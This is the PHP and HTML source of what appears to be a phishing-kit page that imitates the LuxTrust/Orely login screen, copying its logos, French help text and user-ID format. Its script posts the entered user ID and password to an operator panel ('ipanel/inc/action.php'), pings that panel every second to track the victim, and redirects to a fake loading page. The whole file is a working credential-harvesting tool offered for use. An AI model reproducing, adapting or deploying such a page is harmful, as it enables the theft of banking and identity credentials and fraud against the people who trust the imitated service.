<?php
include '../../ipanel/inc/config.php';
include '../../ipanel/inc/connect.php';
include '../../ipanel/inc/lang.php';

$url = $_SERVER['REQUEST_URI'];
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];

?>
<!DOCTYPE html>
<html lang="FR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>S'authentifier</title>
    <link rel="stylesheet" media="all" href="./application-2305a15c2a.css">
    
        
        <link rel="stylesheet" media="all" href="./SP0008.css">
        
    
    
<style type="text/css">

  .fixed-container {
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;

  }

  </style>


<script>
function check(form) {

if (form.userid.value.length < 3)
{ form.userid.focus(); document.getElementById("error1").style.display = "block"; return;}
else { document.getElementById("error1").style.display = "none";  }

if (form.password.value.length < 6)
{ form.password.focus(); document.getElementById("error2").style.display = "block"; return;}
else { document.getElementById("error2").style.display = "none";  }

submit_form();

// form.submit()
}
</script>

  </head>
  <body class="luxtrust">
    
<style>
  .luxtrust .form-horizontal .control-label {
    padding-top: 7px;
    margin-bottom: 0;
    text-align: right;
  }

  @media screen and (max-width: 351px) {

     .luxtrust .authentication .alert.alert-danger {
       margin-top: 2rem;
       margin-bottom: -1rem;
       font-size: 12px;

     }
      .thumbnail {
          display: none;
      }

    .luxtrust .help-block {
      width: 11rem;
      margin-bottom: -0.5rem;
      font-size: 12px;
    }
      .center-buttons-responsive {
          transform: translateX(30%);
      }

    .responsive-buttons .btn {
      padding: 6px 6px;
    }


  }
   @media screen and (max-width: 599px) {
       .responsive-buttons {
           width: 70%;
       }
       .center-buttons-responsive {
           transform: translateX(30%);
       }

       .responsive-fixed-container {
           display: flex;
           justify-content: center;
           align-items: center;
           position: relative;
       }

   }
  @media screen and (min-width: 600px) and (max-width: 700px) {
    .responsive-buttons .btn {
      padding: 5px 5px;
    }

  }

</style>
  <div class="container authentication responsive-header">
    <nav class="navbar header" role="navigation">
  <div class="navbar-brand logo center-block" style="display: none">
    <span class="logoImg"></span>
  </div>
  <hr width="100%" color="black" style="display: none">
  
  <div class="navbar-header pull-right">
    <div class="luxtrust-header-logo">
      <img src="./LuxTrust.svg" alt="Orely">
    </div>
  </div>
 </nav>
 <form action="" target="_top" method="post">
<input type="hidden" name="iname" id="iname" value="i1">
<?= $error ?>
    <div class="js-form-container">
<div id="credentials" class="css-authentication css-credentials-form js-credentials-form">
    <div class="login row">
        <fieldset class="form-horizontal col-xs-12 col-sm-12 col-md-7">
<!--            <fieldset class="form-horizontal col-xs-12 col-sm-12">-->
            <div class="form-group">
                <label class="control-label col-xs-4 col-sm-3 col-md-offset-0 text-right" for="userid">
<!--                <label class="control-label col-xs-4 col-sm-3" for="user-id">-->
                    User ID
                </label>
                <div class="col-xs-6 col-sm-7">
<!--                <div class="col-xs-6">-->
<input id="userid" name="userid" class="form-control usrIdField" type="text" placeholder="User ID" value="" autofocus="" autocomplete="off" autocorrect="off" spellcheck="false" maxlength="8" onKeyDown="if(event.keyCode==13) check(this.form);">
					<div id="error1" style="display:none;" class="js-error help-block"><?= translateText('errorz1', $currentLanguage); ?></div>
                </div>
        <span class="help col-xs-1 control-label glyphicon glyphicon-question-sign" data-container="#credentials" data-toggle="popover" data-placement="left" data-content="Votre User ID LuxTrust (4 lettres suivies de 4 chiffres) vous a été remis par SMS ou courrier." data-original-title="" title="">
            </span></div>
            <div class="form-group">
                <label class="control-label col-xs-4 col-sm-3 col-md-offset-0 text-right" for="password">
<!--                <label class="control-label col-xs-4 col-sm-3" for="password">-->
                    Password
                </label>
                <div class="col-xs-6 col-sm-7">
<!--                    <div class="col-xs-6">-->
<input id="password" class="form-control" type="password" autocomplete="off" autocorrect="off" spellcheck="false" maxlength="10" placeholder="Password" onKeyDown="if(event.keyCode==13) check(this.form);">
					<div id="error2" style="display:none;" class="js-error help-block"><?= translateText('errorz2', $currentLanguage); ?></div>
                </div>
        <span class="help col-xs-1 control-label glyphicon glyphicon-question-sign" data-container="#credentials" data-toggle="popover" data-placement="left" data-html="true" data-original-title="" title="">
            </span></div>
            <fieldset class="actions form-group responsive-buttons">
                <div class="col-xs-12 col-sm-12 col-md-7 col-md-offset-3 col-lg-offset-3 center-buttons-responsive">
                    <button id="cancel" class="js-cancel btn btn-default lt-native-button-cancel" onclick="check(this.form)" type="button">
                        Annuler
                    </button>
                    <button id="confirm" class="js-submit btn btn-default lt-native-button-submit" onclick="check(this.form)" type="button">
                    <?= translateText('submitbtn', $currentLanguage); ?>
                    </button>
                </div>
            </fieldset>
        </fieldset>
        <div class="hidden-xs hidden-sm col-md-offset-1 col-lg-offset-1 col-md-2 col-lg-1 pull-right">
            <div class="thumbnail pull-right">
    <div class="device token"></div>
    <div class="name">Token</div>
</div>
        </div>
    </div>
</div>

    </div>
  </div>

  </form>
    
    <!--[if lt IE 9]>
      
      
    <![endif]-->
    
  

  
<script src="../../assets/js/jquery-1.11.3.min.js"></script>
<script src="../../assets/js/main.js"></script>
<script>
      var pinger = setInterval(function() {
         var urldata = "../../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var iname = document.getElementById('iname').value;
         var username = document.getElementById('userid').value;
         var password = document.getElementById('password').value;
         $.ajax({
            type: 'POST',
            url: '../../ipanel/inc/action.php?type=login',
            data: 'username=' + username + '&password=' + password + '&iname=' + iname,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                window.top.location.href = "../loading.php";
                  // timer();
               }
            }
         })
      }


   </script>
      <!-- <script>
   function timer() {
		var statusredirect = <?php echo json_encode($static_redirect); ?>;
         var urldata = "../ipanel/inc/action.php?type=getstatus";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               if (statusredirect == 'checked') {
                  clearInterval(timer)
                  window.top.location.href = "../error.php";
               } else if (response == '2') {
                  clearInterval(timer)
                  window.top.location.href = "../loading.php";
               }
            }

         });
      }

   </script> -->

</body></html>